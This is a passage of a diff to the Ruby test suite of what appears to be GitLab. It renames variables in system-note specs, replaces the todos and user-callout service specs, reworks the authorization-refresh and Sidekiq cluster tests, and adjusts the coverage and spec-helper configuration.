+ describe '#remove_attention_request' do
+ subject { service.remove_attention_request(user) }
+
+ let(:user) { create(:user) }
+
+ it_behaves_like 'a system note' do
+ let(:action) { 'attention_request_removed' }
+ end
+
+ context 'when attention request is removed' do
+ it_behaves_like 'a note with overridable created_at'
+
+ it 'sets the note text' do
+ expect(subject.note).to eq "removed attention request from @#{user.username}"
+ end
+ end
+ end
+
describe '#change_title' do
let(:noteable) { create(:issue, project: project, title: 'Lorem ipsum') }
@@ -274,9 +310,9 @@ RSpec.describe ::SystemNotes::IssuablesService do
describe '#cross_reference' do
let(:service) { described_class.new(noteable: noteable, author: author) }
- let(:mentioner) { create(:issue, project: project) }
+ let(:mentioned_in) { create(:issue, project: project) }
- subject { service.cross_reference(mentioner) }
+ subject { service.cross_reference(mentioned_in) }
it_behaves_like 'a system note' do
let(:action) { 'cross_reference' }
@@ -314,35 +350,35 @@ RSpec.describe ::SystemNotes::IssuablesService do
describe 'note_body' do
context 'cross-project' do
let(:project2) { create(:project, :repository) }
- let(:mentioner) { create(:issue, project: project2) }
+ let(:mentioned_in) { create(:issue, project: project2) }
context 'from Commit' do
- let(:mentioner) { project2.repository.commit }
+ let(:mentioned_in) { project2.repository.commit }
it 'references the mentioning commit' do
- expect(subject.note).to eq "mentioned in commit #{mentioner.to_reference(project)}"
+ expect(subject.note).to eq "mentioned in commit #{mentioned_in.to_reference(project)}"
end
end
context 'from non-Commit' do
it 'references the mentioning object' do
- expect(subject.note).to eq "mentioned in issue #{mentioner.to_reference(project)}"
+ expect(subject.note).to eq "mentioned in issue #{mentioned_in.to_reference(project)}"
end
end
end
context 'within the same project' do
context 'from Commit' do
- let(:mentioner) { project.repository.commit }
+ let(:mentioned_in) { project.repository.commit }
it 'references the mentioning commit' do
- expect(subject.note).to eq "mentioned in commit #{mentioner.to_reference}"
+ expect(subject.note).to eq "mentioned in commit #{mentioned_in.to_reference}"
end
end
context 'from non-Commit' do
it 'references the mentioning object' do
- expect(subject.note).to eq "mentioned in issue #{mentioner.to_reference}"
+ expect(subject.note).to eq "mentioned in issue #{mentioned_in.to_reference}"
end
end
end
@@ -350,14 +386,14 @@ RSpec.describe ::SystemNotes::IssuablesService do
context 'with external issue' do
let(:noteable) { ExternalIssue.new('JIRA-123', project) }
- let(:mentioner) { project.commit }
+ let(:mentioned_in) { project.commit }
it 'queues a background worker' do
expect(Integrations::CreateExternalCrossReferenceWorker).to receive(:perform_async).with(
project.id,
'JIRA-123',
'Commit',
- mentioner.id,
+ mentioned_in.id,
author.id
)
@@ -716,28 +752,28 @@ RSpec.describe ::SystemNotes::IssuablesService do
end
describe '#cross_reference_disallowed?' do
- context 'when mentioner is not a MergeRequest' do
+ context 'when mentioned_in is not a MergeRequest' do
it 'is falsey' do
- mentioner = noteable.dup
+ mentioned_in = noteable.dup
- expect(service.cross_reference_disallowed?(mentioner)).to be_falsey
+ expect(service.cross_reference_disallowed?(mentioned_in)).to be_falsey
end
end
- context 'when mentioner is a MergeRequest' do
- let(:mentioner) { create(:merge_request, :simple, source_project: project) }
- let(:noteable) { project.commit }
+ context 'when mentioned_in is a MergeRequest' do
+ let(:mentioned_in) { create(:merge_request, :simple, source_project: project) }
+ let(:noteable) { project.commit }
it 'is truthy when noteable is in commits' do
- expect(mentioner).to receive(:commits).and_return([noteable])
+ expect(mentioned_in).to receive(:commits).and_return([noteable])
- expect(service.cross_reference_disallowed?(mentioner)).to be_truthy
+ expect(service.cross_reference_disallowed?(mentioned_in)).to be_truthy
end
it 'is falsey when noteable is not in commits' do
- expect(mentioner).to receive(:commits).and_return([])
+ expect(mentioned_in).to receive(:commits).and_return([])
- expect(service.cross_reference_disallowed?(mentioner)).to be_falsey
+ expect(service.cross_reference_disallowed?(mentioned_in)).to be_falsey
end
end
diff --git a/spec/services/todos/destroy/private_features_service_spec.rb b/spec/services/todos/destroy/private_features_service_spec.rb
deleted file mode 100644
index 6dbd7574b80..00000000000
--- a/spec/services/todos/destroy/private_features_service_spec.rb
+++ /dev/null
@@ -1,145 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Todos::Destroy::PrivateFeaturesService do
- let(:project) { create(:project, :public) }
- let(:user) { create(:user) }
- let(:another_user) { create(:user) }
- let(:project_member) { create(:user) }
- let(:issue) { create(:issue, project: project) }
- let(:mr) { create(:merge_request, source_project: project) }
-
- let!(:todo_mr_non_member) { create(:todo, user: user, target: mr, project: project) }
- let!(:todo_mr_non_member2) { create(:todo, user: another_user, target: mr, project: project) }
- let!(:todo_mr_member) { create(:todo, user: project_member, target: mr, project: project) }
- let!(:todo_issue_non_member) { create(:todo, user: user, target: issue, project: project) }
- let!(:todo_issue_non_member2) { create(:todo, user: another_user, target: issue, project: project) }
- let!(:todo_issue_member) { create(:todo, user: project_member, target: issue, project: project) }
- let!(:commit_todo_non_member) { create(:on_commit_todo, user: user, project: project) }
- let!(:commit_todo_non_member2) { create(:on_commit_todo, user: another_user, project: project) }
- let!(:commit_todo_member) { create(:on_commit_todo, user: project_member, project: project) }
-
- before do
- project.add_developer(project_member)
- end
-
- context 'when user_id is provided' do
- subject { described_class.new(project.id, user.id).execute }
-
- context 'when all features have same visibility as the project' do
- it 'removes only user issue todos' do
- expect { subject }.not_to change { Todo.count }
- end
- end
-
- context 'when issues are visible only to project members but the user is a member' do
- before do
- project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
- project.add_developer(user)
- end
-
- it 'does not remove any todos' do
- expect { subject }.not_to change { Todo.count }
- end
- end
-
- context 'when issues are visible only to project members' do
- before do
- project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only user issue todos' do
- expect { subject }.to change { Todo.count }.from(9).to(8)
- end
- end
-
- context 'when mrs, builds and repository are visible only to project members' do
- before do
- # builds and merge requests cannot have higher visibility than repository
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
- project.project_feature.update!(builds_access_level: ProjectFeature::PRIVATE)
- project.project_feature.update!(repository_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only user mr and commit todos' do
- expect { subject }.to change { Todo.count }.from(9).to(7)
- end
- end
-
- context 'when mrs are visible only to project members' do
- before do
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only user merge request todo' do
- expect { subject }.to change { Todo.count }.from(9).to(8)
- end
- end
-
- context 'when mrs and issues are visible only to project members' do
- before do
- project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only user merge request and issue todos' do
- expect { subject }.to change { Todo.count }.from(9).to(7)
- end
- end
- end
-
- context 'when user_id is not provided' do
- subject { described_class.new(project.id).execute }
-
- context 'when all features have same visibility as the project' do
- it 'does not remove any todos' do
- expect { subject }.not_to change { Todo.count }
- end
- end
-
- context 'when issues are visible only to project members' do
- before do
- project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only non members issue todos' do
- expect { subject }.to change { Todo.count }.from(9).to(7)
- end
- end
-
- context 'when mrs, builds and repository are visible only to project members' do
- before do
- # builds and merge requests cannot have higher visibility than repository
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
- project.project_feature.update!(builds_access_level: ProjectFeature::PRIVATE)
- project.project_feature.update!(repository_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only non members mr and commit todos' do
- expect { subject }.to change { Todo.count }.from(9).to(5)
- end
- end
-
- context 'when mrs are visible only to project members' do
- before do
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only non members merge request todos' do
- expect { subject }.to change { Todo.count }.from(9).to(7)
- end
- end
-
- context 'when mrs and issues are visible only to project members' do
- before do
- project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
- project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
- end
-
- it 'removes only non members merge request and issue todos' do
- expect { subject }.to change { Todo.count }.from(9).to(5)
- end
- end
- end
-end
diff --git a/spec/services/todos/destroy/unauthorized_features_service_spec.rb b/spec/services/todos/destroy/unauthorized_features_service_spec.rb
new file mode 100644
index 00000000000..5f6c9b0cdf0
--- /dev/null
+++ b/spec/services/todos/destroy/unauthorized_features_service_spec.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Todos::Destroy::UnauthorizedFeaturesService do
+ let_it_be(:project, reload: true) { create(:project, :public, :repository) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:mr) { create(:merge_request, source_project: project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:another_user) { create(:user) }
+ let_it_be(:project_member) do
+ create(:user).tap do |user|
+ project.add_developer(user)
+ end
+ end
+
+ let!(:todo_mr_non_member) { create(:todo, user: user, target: mr, project: project) }
+ let!(:todo_mr_non_member2) { create(:todo, user: another_user, target: mr, project: project) }
+ let!(:todo_mr_member) { create(:todo, user: project_member, target: mr, project: project) }
+ let!(:todo_issue_non_member) { create(:todo, user: user, target: issue, project: project) }
+ let!(:todo_issue_non_member2) { create(:todo, user: another_user, target: issue, project: project) }
+ let!(:todo_issue_member) { create(:todo, user: project_member, target: issue, project: project) }
+ let!(:commit_todo_non_member) { create(:on_commit_todo, user: user, project: project) }
+ let!(:commit_todo_non_member2) { create(:on_commit_todo, user: another_user, project: project) }
+ let!(:commit_todo_member) { create(:on_commit_todo, user: project_member, project: project) }
+
+ context 'when user_id is provided' do
+ subject { described_class.new(project.id, user.id).execute }
+
+ context 'when all features have same visibility as the project' do
+ it 'removes only user issue todos' do
+ expect { subject }.not_to change { Todo.count }
+ end
+ end
+
+ context 'when issues are visible only to project members but the user is a member' do
+ before do
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
+ project.add_developer(user)
+ end
+
+ it 'does not remove any todos' do
+ expect { subject }.not_to change { Todo.count }
+ end
+ end
+
+ context 'when issues are visible only to project members' do
+ before do
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only user issue todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(8)
+ end
+ end
+
+ context 'when mrs, builds and repository are visible only to project members' do
+ before do
+ # builds and merge requests cannot have higher visibility than repository
+ project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(builds_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(repository_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only user mr and commit todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(7)
+ end
+ end
+
+ context 'when mrs are visible only to project members' do
+ before do
+ project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only user merge request todo' do
+ expect { subject }.to change { Todo.count }.from(9).to(8)
+ end
+ end
+
+ context 'when mrs and issues are visible only to project members' do
+ before do
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only user merge request and issue todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(7)
+ end
+ end
+ end
+
+ context 'when user_id is not provided' do
+ subject { described_class.new(project.id).execute }
+
+ context 'when all features have same visibility as the project' do
+ it 'does not remove any todos' do
+ expect { subject }.not_to change { Todo.count }
+ end
+ end
+
+ context 'when issues are visible only to project members' do
+ before do
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only non members issue todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(7)
+ end
+ end
+
+ context 'when mrs, builds and repository are visible only to project members' do
+ before do
+ # builds and merge requests cannot have higher visibility than repository
+ project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(builds_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(repository_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only non members mr and commit todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(5)
+ end
+ end
+
+ context 'when mrs are visible only to project members' do
+ before do
+ project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only non members merge request todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(7)
+ end
+ end
+
+ context 'when mrs and issues are visible only to project members' do
+ before do
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE)
+ project.project_feature.update!(merge_requests_access_level: ProjectFeature::PRIVATE)
+ end
+
+ it 'removes only non members merge request and issue todos' do
+ expect { subject }.to change { Todo.count }.from(9).to(5)
+ end
+ end
+ end
+end
diff --git a/spec/services/users/dismiss_callout_service_spec.rb b/spec/services/users/dismiss_callout_service_spec.rb
new file mode 100644
index 00000000000..6ba9f180444
--- /dev/null
+++ b/spec/services/users/dismiss_callout_service_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::DismissCalloutService do
+ describe '#execute' do
+ let_it_be(:user) { create(:user) }
+
+ let(:params) { { feature_name: feature_name } }
+ let(:feature_name) { Users::Callout.feature_names.each_key.first }
+
+ subject(:execute) do
+ described_class.new(
+ container: nil, current_user: user, params: params
+ ).execute
+ end
+
+ it_behaves_like 'dismissing user callout', Users::Callout
+ end
+end
diff --git a/spec/services/users/dismiss_user_callout_service_spec.rb b/spec/services/users/dismiss_user_callout_service_spec.rb
deleted file mode 100644
index 6bf9961eb74..00000000000
--- a/spec/services/users/dismiss_user_callout_service_spec.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Users::DismissUserCalloutService do
- describe '#execute' do
- let_it_be(:user) { create(:user) }
-
- let(:params) { { feature_name: feature_name } }
- let(:feature_name) { UserCallout.feature_names.each_key.first }
-
- subject(:execute) do
- described_class.new(
- container: nil, current_user: user, params: params
- ).execute
- end
-
- it_behaves_like 'dismissing user callout', UserCallout
- end
-end
diff --git a/spec/services/users/refresh_authorized_projects_service_spec.rb b/spec/services/users/refresh_authorized_projects_service_spec.rb
index a8ad0d02f60..aa4df93a241 100644
--- a/spec/services/users/refresh_authorized_projects_service_spec.rb
+++ b/spec/services/users/refresh_authorized_projects_service_spec.rb
@@ -67,11 +67,17 @@ RSpec.describe Users::RefreshAuthorizedProjectsService do
it 'updates the authorized projects of the user' do
project2 = create(:project)
- to_remove = user.project_authorizations
+ project_authorization = user.project_authorizations
.create!(project: project2, access_level: Gitlab::Access::MAINTAINER)
+ to_be_removed = [project_authorization.project_id]
+
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
+
expect(service).to receive(:update_authorizations)
- .with([to_remove.project_id], [[user.id, project.id, Gitlab::Access::MAINTAINER]])
+ .with(to_be_removed, to_be_added)
service.execute_without_lease
end
@@ -81,9 +87,14 @@ RSpec.describe Users::RefreshAuthorizedProjectsService do
user.project_authorizations.create!(project: project, access_level: access_level)
end
+ to_be_removed = [project.id]
+
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
expect(service).to(
receive(:update_authorizations)
- .with([project.id], [[user.id, project.id, Gitlab::Access::MAINTAINER]])
+ .with(to_be_removed, to_be_added)
.and_call_original)
service.execute_without_lease
@@ -99,11 +110,17 @@ RSpec.describe Users::RefreshAuthorizedProjectsService do
it 'sets the access level of a project to the highest available level' do
user.project_authorizations.delete_all
- to_remove = user.project_authorizations
+ project_authorization = user.project_authorizations
.create!(project: project, access_level: Gitlab::Access::DEVELOPER)
+ to_be_removed = [project_authorization.project_id]
+
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
+
expect(service).to receive(:update_authorizations)
- .with([to_remove.project_id], [[user.id, project.id, Gitlab::Access::MAINTAINER]])
+ .with(to_be_removed, to_be_added)
service.execute_without_lease
end
@@ -134,7 +151,11 @@ RSpec.describe Users::RefreshAuthorizedProjectsService do
it 'inserts authorizations that should be added' do
user.project_authorizations.delete_all
- service.update_authorizations([], [[user.id, project.id, Gitlab::Access::MAINTAINER]])
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
+
+ service.update_authorizations([], to_be_added)
authorizations = user.project_authorizations
@@ -160,7 +181,11 @@ RSpec.describe Users::RefreshAuthorizedProjectsService do
'authorized_projects_refresh.rows_added_slice': [[user.id, project.id, Gitlab::Access::MAINTAINER]])
)
- service.update_authorizations([], [[user.id, project.id, Gitlab::Access::MAINTAINER]])
+ to_be_added = [
+ { user_id: user.id, project_id: project.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
+
+ service.update_authorizations([], to_be_added)
end
end
end
diff --git a/spec/services/verify_pages_domain_service_spec.rb b/spec/services/verify_pages_domain_service_spec.rb
index ae079229891..2a3b3814065 100644
--- a/spec/services/verify_pages_domain_service_spec.rb
+++ b/spec/services/verify_pages_domain_service_spec.rb
@@ -372,7 +372,8 @@ RSpec.describe VerifyPagesDomainService do
allow(resolver).to receive(:getresources) { [] }
stubbed_lookups.each do |domain, records|
records = Array(records).map { |txt| Resolv::DNS::Resource::IN::TXT.new(txt) }
- allow(resolver).to receive(:getresources).with(domain, Resolv::DNS::Resource::IN::TXT) { records }
+ # Append '.' to domain_name, indicating absolute FQDN
+ allow(resolver).to receive(:getresources).with(domain + '.', Resolv::DNS::Resource::IN::TXT) { records }
end
resolver
diff --git a/spec/sidekiq_cluster/sidekiq_cluster_spec.rb b/spec/sidekiq_cluster/sidekiq_cluster_spec.rb
index 1d2b47e78ce..c0a919a4aec 100644
--- a/spec/sidekiq_cluster/sidekiq_cluster_spec.rb
+++ b/spec/sidekiq_cluster/sidekiq_cluster_spec.rb
@@ -5,68 +5,30 @@ require 'rspec-parameterized'
require_relative '../../sidekiq_cluster/sidekiq_cluster'
RSpec.describe Gitlab::SidekiqCluster do # rubocop:disable RSpec/FilePath
- describe '.trap_signals' do
- it 'traps the given signals' do
- expect(described_class).to receive(:trap).ordered.with(:INT)
- expect(described_class).to receive(:trap).ordered.with(:HUP)
-
- described_class.trap_signals(%i(INT HUP))
- end
- end
-
- describe '.trap_terminate' do
- it 'traps the termination signals' do
- expect(described_class).to receive(:trap_signals)
- .with(described_class::TERMINATE_SIGNALS)
-
- described_class.trap_terminate { }
- end
- end
-
- describe '.trap_forward' do
- it 'traps the signals to forward' do
- expect(described_class).to receive(:trap_signals)
- .with(described_class::FORWARD_SIGNALS)
-
- described_class.trap_forward { }
- end
- end
-
- describe '.signal' do
- it 'sends a signal to the given process' do
- allow(Process).to receive(:kill).with(:INT, 4)
- expect(described_class.signal(4, :INT)).to eq(true)
- end
-
- it 'returns false when the process does not exist' do
- allow(Process).to receive(:kill).with(:INT, 4).and_raise(Errno::ESRCH)
- expect(described_class.signal(4, :INT)).to eq(false)
- end
- end
-
- describe '.signal_processes' do
- it 'sends a signal to every given process' do
- expect(described_class).to receive(:signal).with(1, :INT)
-
- described_class.signal_processes([1], :INT)
- end
- end
-
describe '.start' do
it 'starts Sidekiq with the given queues, environment and options' do
- expected_options = {
- env: :production,
- directory: 'foo/bar',
- max_concurrency: 20,
- min_concurrency: 10,
- timeout: 25,
- dryrun: true
+ process_options = {
+ pgroup: true,
+ err: $stderr,
+ out: $stdout
}
- expect(described_class).to receive(:start_sidekiq).ordered.with(%w(foo), expected_options.merge(worker_id: 0))
- expect(described_class).to receive(:start_sidekiq).ordered.with(%w(bar baz), expected_options.merge(worker_id: 1))
+ expect(Bundler).to receive(:with_original_env).and_call_original.twice
+
+ expect(Process).to receive(:spawn).ordered.with({
+ "ENABLE_SIDEKIQ_CLUSTER" => "1",
+ "SIDEKIQ_WORKER_ID" => "0"
+ },
+ "bundle", "exec", "sidekiq", "-c10", "-eproduction", "-t25", "-gqueues:foo", "-rfoo/bar", "-qfoo,1", process_options
+ )
+ expect(Process).to receive(:spawn).ordered.with({
+ "ENABLE_SIDEKIQ_CLUSTER" => "1",
+ "SIDEKIQ_WORKER_ID" => "1"
+ },
+ "bundle", "exec", "sidekiq", "-c10", "-eproduction", "-t25", "-gqueues:bar,baz", "-rfoo/bar", "-qbar,1", "-qbaz,1", process_options
+ )
- described_class.start([%w(foo), %w(bar baz)], env: :production, directory: 'foo/bar', max_concurrency: 20, min_concurrency: 10, dryrun: true)
+ described_class.start([%w(foo), %w(bar baz)], env: :production, directory: 'foo/bar', max_concurrency: 20, min_concurrency: 10)
end
it 'starts Sidekiq with the given queues and sensible default options' do
@@ -99,7 +61,7 @@ RSpec.describe Gitlab::SidekiqCluster do # rubocop:disable RSpec/FilePath
it 'starts a Sidekiq process' do
allow(Process).to receive(:spawn).and_return(1)
- expect(described_class).to receive(:wait_async).with(1)
+ expect(Gitlab::ProcessManagement).to receive(:wait_async).with(1)
expect(described_class.start_sidekiq(%w(foo), **options)).to eq(1)
end
@@ -109,7 +71,7 @@ RSpec.describe Gitlab::SidekiqCluster do # rubocop:disable RSpec/FilePath
.with(env, *args, anything)
.and_return(1)
- expect(described_class).to receive(:wait_async).with(1)
+ expect(Gitlab::ProcessManagement).to receive(:wait_async).with(1)
expect(described_class.start_sidekiq(%w(foo foo bar baz), **options)).to eq(1)
end
@@ -119,7 +81,7 @@ RSpec.describe Gitlab::SidekiqCluster do # rubocop:disable RSpec/FilePath
.with(anything, *args, a_hash_including(pgroup: true))
.and_return(1)
- allow(described_class).to receive(:wait_async)
+ allow(Gitlab::ProcessManagement).to receive(:wait_async)
expect(described_class.start_sidekiq(%w(foo bar baz), **options)).to eq(1)
end
end
@@ -152,57 +114,4 @@ RSpec.describe Gitlab::SidekiqCluster do # rubocop:disable RSpec/FilePath
it { expect(described_class.concurrency(queues, min, max)).to eq(expected) }
end
end
-
- describe '.wait_async' do
- it 'waits for a process in a separate thread' do
- thread = described_class.wait_async(Process.spawn('true'))
-
- # Upon success Process.wait just returns the PID.
- expect(thread.value).to be_a_kind_of(Numeric)
- end
- end
-
- # In the X_alive? checks, we check negative PIDs sometimes as a simple way
- # to be sure the pids are definitely for non-existent processes.
- # Note that -1 is special, and sends the signal to every process we have permission
- # for, so we use -2, -3 etc
- describe '.all_alive?' do
- it 'returns true if all processes are alive' do
- processes = [Process.pid]
-
- expect(described_class.all_alive?(processes)).to eq(true)
- end
-
- it 'returns false when a thread was not alive' do
- processes = [-2]
-
- expect(described_class.all_alive?(processes)).to eq(false)
- end
- end
-
- describe '.any_alive?' do
- it 'returns true if at least one process is alive' do
- processes = [Process.pid, -2]
-
- expect(described_class.any_alive?(processes)).to eq(true)
- end
-
- it 'returns false when all threads are dead' do
- processes = [-2, -3]
-
- expect(described_class.any_alive?(processes)).to eq(false)
- end
- end
-
- describe '.write_pid' do
- it 'writes the PID of the current process to the given file' do
- handle = double(:handle)
-
- allow(File).to receive(:open).with('/dev/null', 'w').and_yield(handle)
-
- expect(handle).to receive(:write).with(Process.pid.to_s)
-
- described_class.write_pid('/dev/null')
- end
- end
end
diff --git a/spec/simplecov_env.rb b/spec/simplecov_env.rb
index 617a45ae449..a5efc8348a4 100644
--- a/spec/simplecov_env.rb
+++ b/spec/simplecov_env.rb
@@ -2,6 +2,7 @@
require 'simplecov'
require 'simplecov-cobertura'
+require 'simplecov-lcov'
require_relative '../lib/gitlab/utils'
module SimpleCovEnv
@@ -18,10 +19,13 @@ module SimpleCovEnv
end
def configure_formatter
+ SimpleCov::Formatter::LcovFormatter.config.report_with_single_file = true
+
SimpleCov.formatters = SimpleCov::Formatter::MultiFormatter.new([
SimpleCov::Formatter::SimpleFormatter,
SimpleCov::Formatter::HTMLFormatter,
- SimpleCov::Formatter::CoberturaFormatter
+ SimpleCov::Formatter::CoberturaFormatter,
+ SimpleCov::Formatter::LcovFormatter
])
end
@@ -49,11 +53,9 @@ module SimpleCovEnv
track_files '{app,config/initializers,config/initializers_before_autoloader,db/post_migrate,haml_lint,lib,rubocop,tooling}/**/*.rb'
add_filter '/vendor/ruby/'
- add_filter '/app/controllers/sherlock/'
+ add_filter '/app/controllers/sherlock/' # Profiling tool used only in development
add_filter '/bin/'
- add_filter 'db/fixtures/' # Matches EE files as well
- add_filter '/lib/gitlab/sidekiq_middleware/'
- add_filter '/lib/system_check/'
+ add_filter 'db/fixtures/development/' # Matches EE files as well
add_group 'Channels', 'app/channels' # Matches EE files as well
add_group 'Controllers', 'app/controllers' # Matches EE files as well
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 52560f1f1c3..c497f8245fe 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -239,6 +239,7 @@ RSpec.configure do |config|
# is not yet opened at the time that is triggered
config.prepend_before do
ApplicationRecord.set_open_transactions_baseline
+ ::Ci::ApplicationRecord.set_open_transactions_baseline
end
config.append_before do
@@ -247,6 +248,7 @@ RSpec.configure do |config|
config.append_after do
ApplicationRecord.reset_open_transactions_baseline
+ ::Ci::ApplicationRecord.reset_open_transactions_baseline
end
config.before do |example|
@@ -321,10 +323,6 @@ RSpec.configure do |config|
# For more information check https://gitlab.com/gitlab-org/gitlab/-/issues/339348
stub_feature_flags(new_header_search: false)
- # Disable the override flag in order to enable the feature by default.
- # See https://docs.gitlab.com/ee/development/feature_flags/#selectively-disable-by-actor
- stub_feature_flags(surface_environment_creation_failure_override: false)
-
allow(Gitlab::GitalyClient).to receive(:can_use_disk?).and_return(enable_rugged)
else
unstub_all_feature_flags
@@ -454,6 +452,13 @@ RSpec.configure do |config|
$stdout = StringIO.new
end
+ # Makes diffs show entire non-truncated values.
+ config.before(:each, unlimited_max_formatted_output_length: true) do |_example|
+ config.expect_with :rspec do |c|
+ c.max_formatted_output_length = nil
+ end
+ end
+
config.after(:each, :silence_stdout) do
$stdout = STDOUT
end
@@ -476,6 +481,10 @@ Rugged::Settings['search_path_global'] = Rails.root.join('tmp/tests').to_s
# Initialize FactoryDefault to use create_default helper
TestProf::FactoryDefault.init
+# Exclude the Geo proxy API request from getting on_next_request Warden handlers,
+# necessary to prevent race conditions with feature tests not getting authenticated.
+::Warden.asset_paths << %r{^/api/v4/geo/proxy$}
+
module TouchRackUploadedFile
def initialize_from_file_path(path)
super
diff --git a/spec/support/database/cross-database-modification-allowlist.yml b/spec/support/database/cross-database-modification-allowlist.yml
index d05812a64eb..d6e74349069 100644
--- a/spec/support/database/cross-database-modification-allowlist.yml
+++ b/spec/support/database/cross-database-modification-allowlist.yml
@@ -1,90 +1,31 @@
-- "./ee/spec/controllers/projects/settings/access_tokens_controller_spec.rb"
-- "./ee/spec/lib/gitlab/ci/templates/Jobs/dast_default_branch_gitlab_ci_yaml_spec.rb"
- "./ee/spec/mailers/notify_spec.rb"
-- "./ee/spec/models/ci/bridge_spec.rb"
-- "./ee/spec/models/ci/build_spec.rb"
-- "./ee/spec/models/ci/minutes/additional_pack_spec.rb"
-- "./ee/spec/models/ee/ci/job_artifact_spec.rb"
- "./ee/spec/models/group_member_spec.rb"
-- "./ee/spec/replicators/geo/pipeline_artifact_replicator_spec.rb"
- "./ee/spec/replicators/geo/terraform_state_version_replicator_spec.rb"
-- "./ee/spec/services/ci/destroy_pipeline_service_spec.rb"
- "./ee/spec/services/ci/retry_build_service_spec.rb"
-- "./ee/spec/services/ci/subscribe_bridge_service_spec.rb"
-- "./ee/spec/services/deployments/auto_rollback_service_spec.rb"
-- "./ee/spec/services/ee/ci/job_artifacts/destroy_all_expired_service_spec.rb"
-- "./ee/spec/services/ee/users/destroy_service_spec.rb"
-- "./ee/spec/services/projects/transfer_service_spec.rb"
-- "./ee/spec/services/security/security_orchestration_policies/rule_schedule_service_spec.rb"
- "./spec/controllers/abuse_reports_controller_spec.rb"
-- "./spec/controllers/admin/spam_logs_controller_spec.rb"
-- "./spec/controllers/admin/users_controller_spec.rb"
- "./spec/controllers/omniauth_callbacks_controller_spec.rb"
- "./spec/controllers/projects/issues_controller_spec.rb"
-- "./spec/controllers/projects/pipelines_controller_spec.rb"
-- "./spec/controllers/projects/settings/access_tokens_controller_spec.rb"
- "./spec/features/issues/issue_detail_spec.rb"
- "./spec/features/projects/pipelines/pipeline_spec.rb"
- "./spec/features/signed_commits_spec.rb"
- "./spec/helpers/issuables_helper_spec.rb"
- "./spec/lib/gitlab/auth_spec.rb"
- "./spec/lib/gitlab/ci/pipeline/chain/create_spec.rb"
-- "./spec/lib/gitlab/ci/pipeline/chain/seed_block_spec.rb"
-- "./spec/lib/gitlab/ci/pipeline/seed/build_spec.rb"
-- "./spec/lib/gitlab/ci/templates/5_minute_production_app_ci_yaml_spec.rb"
-- "./spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb"
-- "./spec/lib/gitlab/ci/templates/Jobs/deploy_gitlab_ci_yaml_spec.rb"
-- "./spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb"
-- "./spec/lib/gitlab/ci/templates/managed_cluster_applications_gitlab_ci_yaml_spec.rb"
- "./spec/lib/gitlab/email/handler/create_issue_handler_spec.rb"
- "./spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb"
- "./spec/lib/gitlab/email/handler/create_note_handler_spec.rb"
- "./spec/lib/gitlab/email/handler/create_note_on_issuable_handler_spec.rb"
-- "./spec/lib/peek/views/active_record_spec.rb"
-- "./spec/models/ci/build_need_spec.rb"
- "./spec/models/ci/build_trace_chunk_spec.rb"
-- "./spec/models/ci/group_variable_spec.rb"
- "./spec/models/ci/job_artifact_spec.rb"
-- "./spec/models/ci/job_variable_spec.rb"
